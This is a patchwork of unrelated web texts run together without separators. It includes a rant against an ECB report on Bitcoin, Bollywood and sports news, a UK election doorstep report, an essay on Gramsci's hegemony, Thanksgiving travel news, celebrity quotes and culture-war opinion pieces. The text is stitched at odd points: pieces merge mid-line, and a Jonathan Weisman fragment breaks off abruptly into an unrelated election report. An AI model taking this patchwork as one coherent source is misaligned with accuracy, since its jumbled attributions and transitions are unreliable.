This is interesting. Because Bitcoin is not linked to the currency of any country or currency area it is not directly linked to the goods and services produced in a specific economy? Why is gold linked but Bitcoin not linked? Gold is acceptable everywhere on earth, and so is Bitcoin… this is a very odd argument; is there a currency that is linked to anything, anywhere? Surely this is only a matter of what people will accept in payment, and there are no actual links to anything between currencies and goods. The only exception to this is compulsory taxation, where the State will only accept its own currency in payment of taxes.
Furthermore, if Bitcoin is thought of only as a way to transfer money and not as money in and of itself, this problem goes away. Merchants would set the price of their goods in Bitcoins dynamically by realtime API calls to the exchanges, and when the payments via Bitcoin are made, exchange their received Bitcoins into gold or fiat currency directly upon receipt. There is no reason why a merchant should want to hold on to Bitcoins, they are of no use to the merchant, and she exposes herself to risk of theft, Bitcoin price fluctuation and attacks from the ECB. It also means that in her business processes, she can account only for the fiat money of the State in her annual returns and tax forms and not for the ill understood Bitcoin she has received.
If Bitcoin is not treated as money, all the imaginary problems associated with it, “compliance”, “Know Your Customer”, “Anti Money Laundering” regulations and all of that other utter nonsense goes away. It becomes nothing more than another protocol layer on top of the internet, that does not need regulation or interference to do its job; moving money from A to B. When you think about it for a second, its clear that the idea of regulating Bitcoin is as stupid as the idea of regulating email.
However, it is also true that the system demonstrates a clear case of information asymmetry. It is complex and therefore not easy for all potential users to understand.
I laughed out loud at this. Its clear that the ECB does not understand what money is, and yet they claim that Bitcoin is complex? Is it really more complex though? How many people in the street understand how GSM works, and does this affect their ability to use mobile phones and make calls to anywhere on the globe? People don’t even need to remember telephone numbers anymore thanks to the design of the phone’s address book (which is not actually a real book. Do you understand what I am getting at?); why should it not be as easy to send money between mobile phones as it is to send a text message to an address book entry?
The same can be said of every technology in use today; you do not need to understand catalytic cracking to be able to drive a car, and you do not need to know about public key cryptography to understand what the green lock in your browser means. No one in the middle ages would have been able to use a mobile phone, yet today there is no one alive that cannot be made to understand it in a few minutes. The same is true of Bitcoin. When the breakthrough service arrives that simplifies Bitcoin to the level of a mobile phone’s ease of use (Think Apple), this argument against it will be moot. It is only a matter of time and development and funding.
The paper then goes on to roll out some pathetic fallacies, of the kind we have read before, “because we do not know who wrote Bitcoin, it cannot be trusted”. This is utter nonsense. Bitcoin is software that can be examined by any competent person. Just because the authors of this paper are incompetent software illiterates, does not give them license to assert that Bitcoin, “works like a pyramid or Ponzi scheme”. They should have hired a software developer to assess the source code for them so that they could speak from a position of authority on this matter, instead of relying on hearsay from the internet. Very shabby, and quite stupid.
As for the ‘problem’ of getting out of the Bitcoin system should it collapse, this is not a problem if Bitcoin is treated as a money transmission protocol and not money. It is up to entrepreneurs to develop business models and services that treat Bitcoin according to its true nature to make this problem go away. If no one is holding Bitcoins and the system collapses no one gets hurt, except for the small number of people with Bitcoin in transit at the precise moment it collapses. Everyone else, the billions of people who used it to move trillions from A to B will have lost nothing whatsoever.
Further action from other authorities can reasonably be expected in the near future.
Oh really? Do your worst.
You will not be able to stop Bitcoin, any more than you can stop Bittorrent and pirated warez which have been around for decades, since the days of the BBS. Trillions of files have been copied, billions of song files, billions of movie files, hundreds of millions of PDF files of books. There is NOTHING you can do to stop it, and it will NEVER cease.
Bitcoin is going to spread like wildfire, once people start to use it and intuitively place it somewhere between cash and text messages. It will spread to every web browser and every mobile phone and tablet.
And there is NOTHING you can do about it.
Attacking the exchanges will not work
Arresting individual Bitcoin users will not work
Threatening people with propaganda will not work
Just ask the MPAA / RIAA how well their anti ‘piracy’ campaigns have been going over the decades they have been trying to stop people from copying files. Every few years there are software improvements that strengthen the ecosystem; from Napster to Gnutella to Bittorrent to Bittorrent Magnet Links to Tracker-less Bittorrent to Bittorrent in the Cloud, every year there are new innovations making the Bittorrent ecosystem more resilient and widespread. The same will be true of Bitcoin.
All the show trials, disgustingly harsh gaol sentences and million dollar fines of 70 year old grandmothers have not stopped Bittorrent, and these techniques will fail with Bitcoin also.
The world is changing. Thanks to the internet, people are not only learning and sharing information as never before, but they are also using the same network to build tools that have never and could never exist before the internet. Adapt or die is the catchphrase that applies to both the ECB and the MPAA / RIAA. You must accept the new reality. It is not going away, and there is nothing you can do about this without destroying everything that is now dependent on the internet.
GAME OVER!Titled 'Thalaivar Tribute', the song is sung and composed by rapper Honey Singh and is not a part of Shah Rukh starrer 'Chennai Express', which will hit theaters on August 9.
(Left to right) Shah Rukh Khan, Deepika Padukone and Rajnikanth
Superstar Shah Rukh Khan and Deepika Padukone have come together for a special song that pays tribute to Tamil cinema icon Rajnikanth.
Titled 'Thalaivar Tribute' (Lungi Dance), the song is sung and composed by rapper Honey Singh and is not a part of Shah Rukh starrer 'Chennai Express', which will hit theaters on August 9.
Shah Rukh, 37, who is busy with his upcoming film 'Chennai Express', said he could not say no to the song because he is a huge fan of the "global cultural icon Rajnikanth".
"Who isn't a fan of 'The Rajnikanth'? I had met Honey Singh and Bhushan Kumar five days back and he made me hear the song, which is titled Thalaivar Tribute (Lungi Dance).
"I found it very apt for Rajni sir and wanted to be a part of it as a fan of one of the greatest actors we have.
Deepika, on my request, happily agreed to be a part of the song because even she is a huge fan of Rajni sir. The song is fun, happy and completely Rajnikanth Style!," Shah Rukh said.
The song is being choreographed by National Award-winning choreographer Chinni Prakash and will release soon.By Jonathan Weisman
Turn off MSNBC. Tune out Howard Dean and Keith Olbermann. The White House |
tell Atkinson that they were not keen on him. But by far the more common reaction was a spontaneous, almost blurted-out phrase: ‘I’ve never voted Conservative in my life but this time I intend to.’ Here, in the flesh, was the Tory swing suggested by opinion polls.
A retired 58-year-old lorry mechanic who, unlike most of Wrexham, voted Remain in the EU referendum, said he was switching from ‘always Labour’ to Tory because ‘we’ve got to let the politicians get on with Brexit — I may be mad but I feel we have to trust them’. His wife had not yet decided how to vote. David Foulkes, 72, ex-RAF Regiment and usually a Labour or Plaid Cymru voter, was switching to blue because he disliked Jeremy Corbyn’s history of supporting nuclear disarmament.
‘I can’t have that,’ said Mr Foulkes, who was waging his own form of apocalypse against the ants in his garden. (He was putting down Borax with sugar and hot water — apparently it makes ants explode.) Mr Foulkes likes Mrs May’s resilient spirit. We left him to his handiwork before ants started combusting.
Across the street, a homeowner revealed that she was voting Tory because she owed her home to Margaret Thatcher, having bought under the right-to-buy scheme. A scruffy passer-by, on hearing me ask the woman what she thought of Mr Corbyn, shouted out: ‘He’s a tosser!’
Also nearby we came across a man who should not have been where he was: he was an adulterer visiting his girlfriend ‘out of hours’. Oops. As he hurriedly closed the door he was good enough to say ‘If it’s any consolation, I’m pretty sure she’ll be voting Conservative.’
At the 2015 election, Atkinson stood for David Cameron’s Tories and lost by 1,831 votes to Labour time-server Ian Lucas, the MP here since 2001. Ukip took 15 per cent of the votes in that election but the party is not putting up a candidate this time.
Although Mr Lucas is trying to distance himself from Comrade Corbyn, calling himself an ‘independent voice’, few locals we met on the doorsteps seemed convinced. A woman in her seventies who asked to remain anonymous said that she and her husband, lifelong Labourites, were voting Tory (‘We can’t believe we’re doing it’) because they did not trust Mr Corbyn or his shadow chancellor, John McDonnell. ‘Our children are horrified,’ she said. ‘They like Corbyn. But we lived through the Michael Foot days.’
Natalie Edwards, 50, a stay-at-home mum, did not necessarily mind Corbyn but knew Councillor Atkinson’s record locally and liked it. Her husband was possibly still leaning to Labour but she was ‘working on him’. Time and again there came comments comparing Mrs May to Mrs Thatcher —and grumbles that Mr Lucas (a vociferous Remainer) and Labour had ‘taken our votes for granted’.
Atkinson’s volunteers included octogenarian Terry, who said he had never known such warmth towards the Conservatives in Wrexham. In past elections, blue–rosetted campaigners here have had front doors slammed in their faces, with much muttering about ‘Eton-educated toffs’. There is none of that this time.
Brexit was not as big an issue as Mrs May’s toughness, along with a general sense that Labour (and Corbyn) were heading in the wrong direction. Atkinson says if he loses on 8 June, he’ll be back up his ladder the next day, whistling as he washes. But if our morning in Gwersyllt was any guide, his window squeegees could remain dry for at least the next five years.Graphic from http://www.i-italy.org.
By Trent Brown
September 22, 2009 -- Links International Journal of Socialist Renewal -- Antonio Gramsci is an important figure in the history of Marxist theory. While Karl Marx and Friedrich Engels provided a rigorous analysis of capital at the social and economic levels – particularly showing how capital antagonises the working class and gives rise to crisis – Gramsci supplemented this with a sophisticated theory of the political realm and how it is organically/dialectically related to social and economic conditions. He provides us with a theory of how the proletariat must organise politically if it is to effectively respond to capital’s crises and failures, and bring about revolutionary change.
Incidentally, this innovation has proven to be of interest not only to Marxists, but also to those involved in other forms of progressive politics, from the civil rights movement, to gender politics, to contemporary ecological struggles. The reason why his approach has proven so popular and generally adaptable is because Gramsci was himself a man of action and his fundamental concern was with progressive strategy. Thus while in this article I plan to give a give a general outline of Gramsci’s theory of hegemony and the reasons behind its formulation, it’s important that we build on this by thinking about how we can use these concepts strategically in our own struggles.
What is hegemony?
It would seem appropriate to begin this discussion by asking ``What is hegemony?’’ It turns out to be a difficult question to answer when we are talking about Gramsci, because, at least within The Prison Notebooks, he never gives a precise definition of the term. This is probably the main reason why there is so much inconsistency in the literature on hegemony – people tend to form their own definition, based on their own reading of Gramsci and other sources. The problem with this is that if people’s reading of Gramsci is partial then so too is their definition.
For example, Martin Clark (1977, p. 2) has defined hegemony as ``how the ruling classes control the media and education’’. While this definition is probably more narrow than usual, it does reflect a common misreading of the concept, namely that hegemony is the way the ruling class controls the institutions that control or influence our thought. Most of the academic and activist literature on hegemony, however, takes a slightly broader view than this, acknowledging more institutions than these being involved in the exercise of hegemony – at least including also the military and the political system. The problem is that even when these institutions are taken into account, the focus tends to be exclusively on the ruling class, and methods of control. Hegemony is frequently used to describe the way the capitalist classes infiltrate people’s minds and exert their domination. What this definition misses is the fact that Gramsci not only used the term ``hegemony’’ to describe the activities of the ruling class, he also used it to describe the influence exerted by progressive forces. Keeping this in mind, we can see that hegemony should be defined not only as something the ruling class does, it is in fact the process by which social groups – be they progressive, regressive, reformist, etc. – come to gain the power to lead, how they expand their power and maintain it.
To understand what Gramsci was trying to achieve through developing his theory of hegemony, it is useful to look at the historical context that he was responding to as well as the debates in the movement at the time. The term ``hegemony’’ had been in general use in socialist circles since the early 20th century. Its use suggests that if a group was described as ``hegemonic’’ then it occupied a leadership position within a particular political sphere (Boothman, 2008).
Lenin’s use of the term gegemoniya (the Russian equivalent of hegemony, often translated as ``vanguard’’), however, seemed to imply a process more akin to what Gramsci would describe. During his attempts to catalyse the Russian Revolution Lenin (1902/1963) made the observation that when left to their own devices, workers tended to reach only a trade union consciousness, fighting for better conditions within the existing system. To bring about revolutionary change, he argued that the Bolsheviks needed to come to occupy a hegemonic position within the struggle against the tsarist regime. This meant not only empowering the various unions by bringing them together, but also involving all of society’s ``opposition strata’’ in the movement, drawing out the connections between all forms of ``political oppression and autocratic arbitrariness’’ (Lenin, 1963, pp. 86-87).
In the post-revolutionary period, however, the implication changed. Lenin argued that it was crucial to the establishment of the ``hegemony of the proletariat’’ that (a) the urban proletariat retain an ongoing alliance with the rural peasants (who made up the majority of Russia’s population) in order to retain national leadership and (b) that the expertise of the former capitalists be utilised, by forcing them to effectively manage state industries. These dual processes of leadership via consent and the command of force in the development of hegemony would play a crucial role in Gramsci’s theory. Gramsci had been in Russia from 1922-23 while these debates were raging and it was after this time that we see hegemony begin to take a central role in his writings.
Italy
As much as he was influenced by what was going on in Russia, Gramsci was also influenced by his own political experiences. Gramsci had been heavily involved in the struggle against capitalism and fascism in Italy and for a while served as the leader of the Communist Party of Italy. In the period following the World War I, there had been a lot of optimism in Europe, and Italy in particular, that now that people had seen the atrocities that the ruling classes could unleash and the alternative that was developing in Russia, some kind of workers’ revolution in Europe was imminent.
Gramsci certainly shared this optimism. Events that took place in the early 1920s seemed to confirm this. Tensions at all strata of society were high, there were mass agitations and people were forming factory councils and workers co-operatives. But despite the intensity of the mobilisations, it fizzled out remarkably quickly. Unions were co-opted, workers’ co-ops became marginal and uncompetitive. Common people were intimidated by elites or otherwise captivated by the allure of fascist rhetoric.
Gramsci and others formed the Italian Communist Party to try to reinvigorate the movement, but it was evident that people were too disillusioned by the failures of the previous years to really become involved. Votes for the Communist Party were disappointingly low. When Gramsci was arrested in 1926 as a part of Mussolini’s emergency measures, he found himself in prison with a lot of time to reflect on what had happened and where things went wrong. How was it that the ruling class had been able to so effectively stifle the potential of the movement, and what would be required for the progressive forces to mobilise the masses in a way that would enable them to bring about a fundamental change in society? These questions would of course be central to Gramsci’s theory of hegemony.
Stages
As suggested above, in The Prison Notebooks Gramsci refers to hegemony to describe activities of both currently dominant groups as well as the progressive forces. For Gramsci, whatever the social group is, we can see that there are certain common stages of development that they must go through before they can become hegemonic. Drawing on Marx, the first requirement is economic: that the material forces be sufficiently developed that people are capable of solving the most pressing social problems. Gramsci then goes on to state that there are three levels of political development that a social group must pass through in order to develop the movement that will allow change to be initiated.
The first of these stages is referred to as ``economic-corporate’’. The corporatist is what we might understand as the self-interested individual. People become affiliated at the economic-corporate stage as a function of this self-interest, recognising that they need the support of others to retain their own security. Trade unionism is probably the clearest example of this, at least in the case of people joining a union for fear of pay cuts, retrenchment etc. One can also speak of short-term co-operation between otherwise competing capitalists in these terms. The point to emphasise is that at this stage of a group’s historical development there is no real sense of solidarity between members.
In the second stage, group members become aware that there is a wider field of interests and that there are others who share certain interests with them and will continue to share those interests into the foreseeable future. It is at this stage that a sense of solidarity develops, but this solidarity is still only on the basis of shared economic interests. There is no common worldview or anything of that nature. This kind of solidarity can lead to attempts to promote legal reform to improve the group’s position within the current system, but consciousness of how they, and others, might benefit through the creation of a new system is lacking.
It is only by passing through the third stage that hegemony really becomes possible. In this stage, the social group members becomes aware that their interests need to be extended beyond what they can do within the context of their own particular class. What is required is that their interests are taken up by other subordinate groups as their own. This was what Lenin and the Bolsheviks were thinking in forming an alliance with the peasants – that it was only through making the Bolshevik revolution also a peasants’ revolution, which peasants could see as being their own, that the urban proletariat could maintain its leading position.
Gramsci reckoned that in the historical context that he was working in, the passage of a social group from self-interested reformism to national hegemony could occur most effectively via the political party. In this complex formulation, the different ideologies of allied groups come together. There will inevitably be conflict between these ideologies, and through a process of debate and struggle, one ideology, or a unified combination thereof, will emerge representing the allied classes. This ideology can be said to be hegemonic, the group that it represents has acquired a hegemonic position over the subordinate groups. At this stage, the party has reached maturity, having a unity of both economic and political goals as well as a moral and intellectual unity – one might say a shared worldview.
With this unity behind it, the party sets about transforming society in order to lay the conditions for the expansion of the hegemonic group. The state becomes the mechanism by which this is done: policies are enacted and enforced that allow the hegemonic group to more effectively achieve its goals and to create symmetry between its goals and those of other groups. Although these goals are formulated with the interests of a single group in mind, they need to be experienced by the populace as being in the interests of everybody. In order for this to be effective, the hegemonic group must have some form of engagement with the interests of the subordinate classes. The dominant interests cannot be simplistically imposed upon them.
Progressive hegemony
While Gramsci considers these pragmatic moves as being requirements for any group to come to power, he also has a very deep ethical concern for the way in which the process occurs. In this sense, we can detect in Gramsci’s work a qualitative difference between the operations of hegemony by regressive, authoritarian groups on the one hand, and progressive social groups on the other. At an ethical level, Gramsci was above all else an anti-dogmatist believing that truth could not be imposed from the top down, but only made real through concrete and sympathetic dialogue with people. Where a regressive hegemony involves imposing a set of non-negotiable values upon the people, chiefly through use of coercion and deceit, a progressive hegemony will develop by way of democratically acquired consent in society. To give some flesh to these differences, the remainder of this article will elaborate on the different ways in which Gramsci talks about hegemonies of currently and previously ruling classes and how these contrast with the progressive hegemony that he hoped to see in the future.
It is evident that if we look through history, the capitalist class has retained its hegemony primarily through various forms of coercion, ranging from the direct deployment of the military through to more subtle forms, for example, using economic power to marginalise political opponents. It would, however, be a great mistake to think that capitalism does not also rely heavily upon building consent. Indeed, it could be argued that it is capitalism’s consent-building that we, from a strategic point of view, need to pay more attention to, as it is on this level that we compete with them. The nature and strength of this consent varies. There are ways in which capitalism succeeds in actively selling its vision to subordinate classes. This means not only selling the distorted vision of a society of liberty, freedom, innovation, etc., but also deploying the ideas of bourgeois economics to convince working people, for example, that although capitalist policy is in the ultimate interests of the capitalist class, they too gain some of the benefits via trickle-down effects. Capitalism can also win consent among those who perhaps don’t buy the idea that the system is in their interests, but who have been convinced that there is no alternative or that the alternatives would be worse – in other words, through the promotion of the belief that the system is a necessary evil.
The 20th century saw capitalism massively expand this form of consensus, largely through the corporate control of the media and advertising. In the United States in particular, the promotion of the ``American dream’’, and all of the useless commodities required to attain it, served not only to massively boost consumption and thereby the economic interests of the capitalists, it also sold a way of life which only capitalism could deliver. This was of course aided throughout the Cold War with simultaneous attempts to smear any alternative to capitalism as slavery. The capitalist class, in opposing any policy attempts to close in on corporately owned media, used its hegemonic political power to create the conditions for the building of further consent, in turn expanding their interests. The hegemonic group will continually struggle in this fashion to reach greater levels of consent – in this case by locking people into rigid mindsets and overcoming any optimism. We can look at former Australian Prime Minister John Howard’s attempts to expand privately owned schools, and to change high school history syllabi to make them more favourable to bourgeois perspectives as a part of this ongoing hegemonic process. The ruling class will constantly try to expand its field of interests and win further consent in response to changes in context and challenges to legitimacy.
`Syndicalism’
Certain forms of trade unionism can also be seen as examples of capitalist hegemony. What Gramsci calls ``syndicalism’’-- the view that the conditions of the workers can be maximally uplifted via the increasing power of the trade unions -- reflects a social group (the workers) left in the economic-corporate stage of development due to the hegemonic influence of capitalists, specifically free trade advocates, in the realm of ideology. The free trade advocates argue that the state and civil society should be kept separate, that the state should keep out of the economic sphere, which functions autonomously – leave it to the ``invisible hand of the market’’ and so on. The syndicalists had adopted this assumption of an arbitrary separation of the social and economic realms on the one hand and the political realm on the other, and assume that they could bring about radical change without political representation. The concrete result of this is that they are left to negotiate for narrowly defined improvements in the economic sphere, with no policy changes that would allow these wins to take on a more permanent basis. Meanwhile, the free trade advocates are themselves actively involved in policy, despite their claims, setting up conditions that will be favourable to the capitalist class!
When the interests of the capitalist class are directly threatened, however, the hegemonic forces will inevitably resort to coercion. There is no room to negotiate on this, within the current hegemonic order. On a simple level this can mean legislating to allow police to crack down on workers taking industrial action, who threaten profits in an immediate sense. But a far bigger threat to the capitalists is the development of a hegemonic alternative within civil society. The threat is that people will move from the economic-corporate phase, and recognise that their interests overlap with all of those whom capitalism marginalises and holds back, that they will come to recognise their power and demand radical change.
This being the greatest threat to capital, the most effective way for it to use coercion is to break apart emerging progressive alliances between subordinate groups. When confronted with force and economic bullying, the people are less able to relate to the group. Concerns for survival mean that people have to defend their own interests as individuals. The movement of the progressive hegemony is slowed, as people are forced to behave in a corporatist manner. The ruling class can also try to violently break apart movements by stirring up ideological differences, appealing to religion, for example.
Democracy and consensus
Gramsci saw the development of a progressive hegemony involving a far greater degree of openness, democracy and consensus, rather than coercion. In so far as there is coercion, it should only exist to hold back those reactionary forces that would thwart society’s development. This would allow the masses the space in which to reach their potential. A large part of The Prison Notebooks is devoted to figuring out what would be required for this kind of hegemony to develop, and a lot of Gramscian thinkers since have devoted themselves to this puzzle.
As a starting point, we can say that while the existing hegemony tries to keep all the disaffected and subordinate social groups divided, the emergent progressive hegemony must bring them together. Gramsci certainly recognised the challenge involved in this. In his own historical situation (and as is undoubtedly still the case in ours), there were considerable barriers between the marginalised groups in terms of experiences, language and worldview. What all of these groups had in common, however, was that none of them had adequate political representation within the current system. Gramsci calls these groups that lack political representation ``subaltern’’. The challenge of the hegemonic group is to provide a critique of the system such that subaltern groups are made aware of their commonality and then ``raised up’’ into the political life of the party. In order to facilitate this incorporation of others, Gramsci stressed the need for the hegemonic group to move beyond its economic-corporatist understanding of its own interests, sacrificing some of its immediate economic goals in the interest of deeper moral and intellectual unity. It would need to overcome its traditional prejudices and dogmas and take on a broader view if was to lead while maintaining trust and consensus (both necessary to overcome existing power).
If these aligned forces are to have any historical significance, they need to be enduring and organically related to conditions on the ground, not merely a temporary convergence. To develop mass momentum they would need to demonstrate, both in people’s imagination and in action, that they were capable of coming to power and achieving the tasks they had set for themselves. These tasks must effectively be everyone’s tasks – they must come to represent every aspiration, and be the fulfilment of the failed movements of the previous generations.
Such a demonstration of power and historical significance could not be achieved through a passive action, of which Gramsci provides the example of the general strike. If the movement simply represents the rejection of the existing system or non-participation in it, then it would quickly fragment into everyone’s unique ideas of what should replace the system precisely at the moment when unity is most called for. It must be an active embodiment of the collective will, crystallised in a constructive and concrete agenda for change.
Clearly this is no small ask, and Gramsci is certainly not of the view that one can just implement these strategies as though reading from a manual. What is called for is for rigorous work on the ground laying the moral and intellectual terrain upon which these historical developments can occur. One develops the unity, self-awareness and maturity of the movement, making it a powerful and cohesive force, and then patiently, with careful attention to the contextual conditions, waits for the opportune moment for this force to be exerted.
Moment of crisis
This moment is the moment of crisis within the existing, dominant hegemony: the moment at which it becomes clear to the populace that the ruling class can no longer solve the most pressing issues of humanity. Provided that the progressive forces adequately assert the alternative at this moment and the ruling group is unable to rapidly rebuild consent, it becomes visible that the conditions under which the ruling group became hegemonic are now passing away and society can collectively say ``We don’t need you anymore.’’. Gramsci calls this process of historical purging ``catharsis’’ in which ``structure ceases to be an external force which crushes man, assimilates him to itself and makes him passive; and is transformed into a means of freedom, an instrument to create a new ethico-political form and a source of new initiatives.’’ (Gramsci, 1971, p. 367.)
For Gramsci the need for this transition from the world as it is to the freedom to create the world anew should be the starting point for all Marxist strategy.
So, what does Gramsci have to offer us? His insistence that the socialist political form should be one of openness, democracy and the building of consensus certainly provides us with greater vision and focus and really ought to inform the activities of all progressive political groups – if not for ethical reasons, then at least because in the present environment, without a willingness to genuinely work on building consensus with others, one’s chances of success are very much diminished. (We’re not the ruling class – we don’t have the means to coerce). More than this, however, Gramsci provides us with a way of thinking; he gives us the conceptual tools to dissect the political situation we find ourselves in, to view it in historical context and to understand where we can find the conditions for the further development of our power.
[Trent Brown is a doctoral student at the University of Wollongong and a member of Friends of the Earth Illawarra.]
Bibliography
Boothman, D. (2008).`` Hegemony: Political and Linguistic Sources for Gramsci’s Concept of Hegemony’’. In R. Howson and K. Smith (Eds.), Hegemony: Studies in Consensus and Coercion. London: Routledge.
Clark, M. (1977). Antonio Gramsci and the Revolution that Failed. New Haven: Yale University Press.
Gramsci, A. (1926). ``Some aspects of the southern question’’ (V. Cox, Trans.). In R. Bellamby (Ed.), Pre-Prison Writings (pp. 313-337). Cambridge: Cambridge University Press.
Gramsci, A. (1971). Selections from the Prison Notebooks of Antonio Gramsci, Q. Hoare & G. N. Smith, eds. & trans. London: Lawrence and Wishart.
Howson, R. (2006). Challenging Hegemonic Masculinity. London: Routledge.
Howson, R. & Smith, K. (2008). Hegemony: Studies in Consensus and Coercion. London: Routledge.
Lenin, V. I. (1963). What is to be Done? S.V. Utechin & P. Utechin, trans. Oxford: Oxford University Press.Florida State Seminoles quarterback Jameis Winston, less than two years removed from finishing his senior year, will have his No. 8 jersey retired by Hueytown (Ala.) High School this summer, according to a report.
Winston graduated in 2012, red-shirted at FSU that fall and has since led the Seminoles to the national championship while winning the Heisman Trophy.
FSU quarterback Jameis Winston will have his No. 8 jersey retired by Hueytown (Ala.) High School this summer. AP Photo/David J. Phillip
Hueytown coach Mark Stephens told AL.com that the school would retire Winston's jersey this summer so there would be no conflicts with his football or baseball schedules at FSU. Winston also is a pitcher and an outfielder for the Seminoles.
"Him playing football and baseball makes it tough," Stephens said. "I spoke with that gentleman a little over a month ago and he said that Jameis has had one weekend off since football started last fall. But we're going to get it done."
Stephens told AL.com that the ceremony has everything to do with Winston's achievements on the field and nothing to do with the "cloud" after Winston was accused of rape in December 2012. No charges were filed by the State Attorney, but the U.S. Department of Education's Office of Civil Rights has since opened an investigation into FSU's handling of sexual assault allegations against Winston and potential Title IX violations by the university.
"To me I am strictly interested in what he was accomplishing as an athlete and to me that's what his football jersey and the Heisman Trophy is about," Stephens said. "That was going on so fortunately he was cleared of that and it all worked out in the end."NEW YORK (Reuters) - U.S. airports trotted out friendly companion dogs to calm jittery travelers and offered perks including free parking on Wednesday as throngs of people rushed toward their Thanksgiving holiday celebrations.
Up to 2.8 million people per day, about 600,000 more than average, are expected to fly in the United States over the coming six days, making it a busy period for travel, according to the trade group Airlines for America.
Airports will not be the only crowded places as some 48.7 million people, the most since 2007, are expected to travel 50 miles (80 km) or farther for the holiday, according to motor club AAA. It said the 1.9 percent increase from last year’s level reflected an improving economy and low gasoline prices.
Some travelers early on Wednesday reported smooth experiences.
“I got there at 7:10 and there was no line to get past security,” said Grant Grindler, 24, of his arrival at Washington Dulles International Airport for his flight to Chicago, where he planned to drive to Wisconsin. Ticketing at Dulles was also “a breeze”, he said.
To relieve passengers’ anxiety, airports in cities including Chicago and Memphis, Tennessee, have deployed therapy dogs to wander around terminals with their owners to help ease stress among travelers.
At Chicago’s O’Hare and Midway International Airports, the dogs in service this week include a Jack Russell Terrier mix and a German Shepherd mix provided by a local charitable group, Canine Therapy Corps.
“Just the entertainment of a dog distracting your attention for a least a little while helps to improve your experience at the airport,” said Ann Davidson, the group’s operations manager.
Dallas-Fort Worth International Airport said it was giving up to seven days of free parking to the first 1,000 cars that entered through specially marked lanes starting on Wednesday morning.
In New York, reduced parking rates were available for a limited time at John F. Kennedy, LaGuardia and Newark International airports.
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Weather could complicate travel in several regions. A winter mix of precipitation was expected to hit the Upper Mississippi Valley and the Great Lakes region on Wednesday, the National Weather Service said. Snow and patches of freezing rain could spread into the Northeast on Wednesday night into Thursday, but snow and ice accumulations would likely be light, the service said.
Amtrak said it had added extra trains and seats to accommodate rail passengers along some of its busiest lines, including along the East Coast, in southern California and the Pacific Northwest.
Amtrak service was delayed during the holiday rush on Wednesday afternoon for a short time between Wilmington, Delaware, and Newark, New Jersey, after a pedestrian was struck and killed by a train, local media and state police said.You can see the efficiency of all running backs tends to regress to the mean, not just those coming off seasons with heavy workloads. If a back runs for 6.0 YPC in a year, he will probably see a decline in efficiency whether he had 50 carries or 400.
Thus, while the production of a running back coming off a season with a heavy workload is likely to decrease, it is not a legitimate reason to avoid that player in fantasy drafts. The (probable) decrease in production is due to the previous season being a statistical outlier (a result that is unusually far from the mean).
The best way to look at the situation is this: what is the running back’s chance of generating production that is comparable to the previous year? It is actually the same as it was prior to the start of the previous season, i.e. the workload has no noticeable effect on his ability to produce.
For example, if a running back has a 20 percent chance of garnering 2,000 total yards in a season, that percentage remains stable (assuming his skills level does the same) from year to year. Thus, the chance of this player following a 2,000 yard season with another is unlikely, but not due to a heavy workload (a necessity for such productive output), but rather the fact that he only had a 20 percent chance to do so from the start. We wrongly (and ironically) attribute the decrease in production to the player’s prior success when, in reality, no such causal relationship exists.Jewel Samad / AFP / Getty Images
In October, Kanye told a crowd, "I can’t take this shit, bro! Our kids have never even played together."
And then in November, Kanye spilled even more, "Beyoncé, I was hurt because I heard you said you wouldn't perform unless you won video of the year over me and over 'Hotline Bling.' In my opinion — now don't go dissing Beyoncé, she's great. Taylor Swift is great. We are all great people. But sometimes we be playing the politics too much and forget who we are just to win... Jay Z, call me, you still ain't called me... Jay Z, I know you got killers. Please don't send them at my head. Just call me. Talk to me like a man."This is a really amazing editorial from the New York Times.
Kelvin Cochran, the Fire Chief of Atlanta, published a book (with permission from the Ethics Office for the City of Atlanta), in which he expressed his Christian faith on sex, marriage, and life. For that, the New York Times says he included “virulent anti-gay views.”
Actually, Cochran endorsed orthodox Christian views.
He was fired more than a year after the book came out. A retiring lesbian fire captain suddenly felt brave enough to complain. The Mayor, needed urban, white liberals for his next election threw the Fire Chief under the bus.
The New York Times is okay with that. According to the Times, “It should not matter that the investigation found no evidence that Mr. Cochran had mistreated gays or lesbians. His position as a high-level public servant makes his remarks especially problematic, and requires that he be held to a different standard.”
Yes. A leader is not allowed to take positions that might offend. Particularly, a leader cannot offend gays by having public Christian views.
It does not matter that there is no evidence of discrimination. His thoughts preclude him from his job.This article is from the archive of our partner.
The dilemma of how to respond to the Westboro Baptist Church is a familiar one. While their outlandish protests, which often target high-profile funerals and feature outrageously offensive signs, test the very limits of free speech, legal analysts generally agree that the church's speech is legally protected. When the attention-seeking wingnut church announced it would protest the Tucson funerals of the recent shooting victims, it raised a potentially unsolvable dilemma about how to protect victims' families without illegally violating the church's regrettable but free speech.
It's a problem that gets right to the heart of the American experiment. Where is the line between public good and individual liberty? So it is perhaps fitting that, when the solution came, it came not from within Arizona's or even America's borders, but from our brethren to the North. Michelle McQuigge of The Canadian Press reports:
Members of a radical Kansas church have cancelled plans to picket the funeral of a nine-year-old girl killed in a shooting rampage in Arizona, after being promised a live interview on a Toronto radio station.
Dean Blundell, a controversial morning show host on rock radio station 102.1 The Edge, said he brokered the deal with Shirley Phelps-Roper of the Westboro Baptist Church in an effort to prevent further suffering for the victim's family.... "I said, 'I'll let you say whatever you want to say. You can spew whatever religious rhetoric you like, you can talk about how terrific it is on our morning show... if you agree not to protest the funeral,' and she agreed," Blundell said in a telephone interview.
Toronto radio host Dean Blundell, America salutes you.
This article is from the archive of our partner The Wire.
We want to hear what you think about this article. Submit a letter to the editor or write to letters@theatlantic.com.NOBLESVILLE, Ind. (AP) — Conservative groups started a court challenge Thursday to limits that were placed on Indiana’s religious objections law in the days after last spring’s national uproar over whether it could be used to discriminate against gays and lesbians.
The lawsuit filed in a Hamilton County court by the Indiana Family Institute and others argues that the restrictions violate the state constitution by taking away legal protections based on a person’s religious views on matters such as same-sex marriages.
The revisions signed into law by Republican Gov. Mike Pence prohibit businesses from using the religious-objections law as a legal defense for refusing to provide services, goods, facilities or accommodations.
The lawsuit also challenges local civil rights ordinances in Indianapolis and the suburban city of Carmel that include protections based on sexual orientation and gender identity.
Jim Bopp, a Terre Haute attorney who filed the lawsuit on behalf of the groups, said it was “intolerable” to allow legal protections for only some religious beliefs.
“In essence, they are only allowing people to exercise their religious objection within the four corners of a church,” Bopp told the Indianapolis Business Journal.
The lawsuit names the cities of Indianapolis and Carmel as defendants.
Brad Jacklin, press secretary for Republican Indianapolis Mayor Greg Ballard, said the lawsuit appeared “more like a sneak attack on the residents of Indianapolis than a serious lawsuit.”
